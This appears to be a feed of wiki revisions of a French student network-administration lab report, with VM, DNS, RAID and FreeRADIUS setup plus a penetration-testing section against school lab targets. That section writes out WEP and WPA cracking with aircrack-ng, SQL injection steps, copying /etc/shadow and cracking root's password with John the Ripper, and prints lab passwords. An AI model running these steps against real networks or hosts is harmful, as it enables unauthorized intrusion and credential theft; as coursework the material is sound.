 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Sécurisation des données (RAID 5) =&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
= Chiffrement des données =&lt;br /&gt;
&lt;br /&gt;
a&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57692</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57692"/>
				<updated>2022-01-10T15:56:35Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Exploitation de failles du système */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
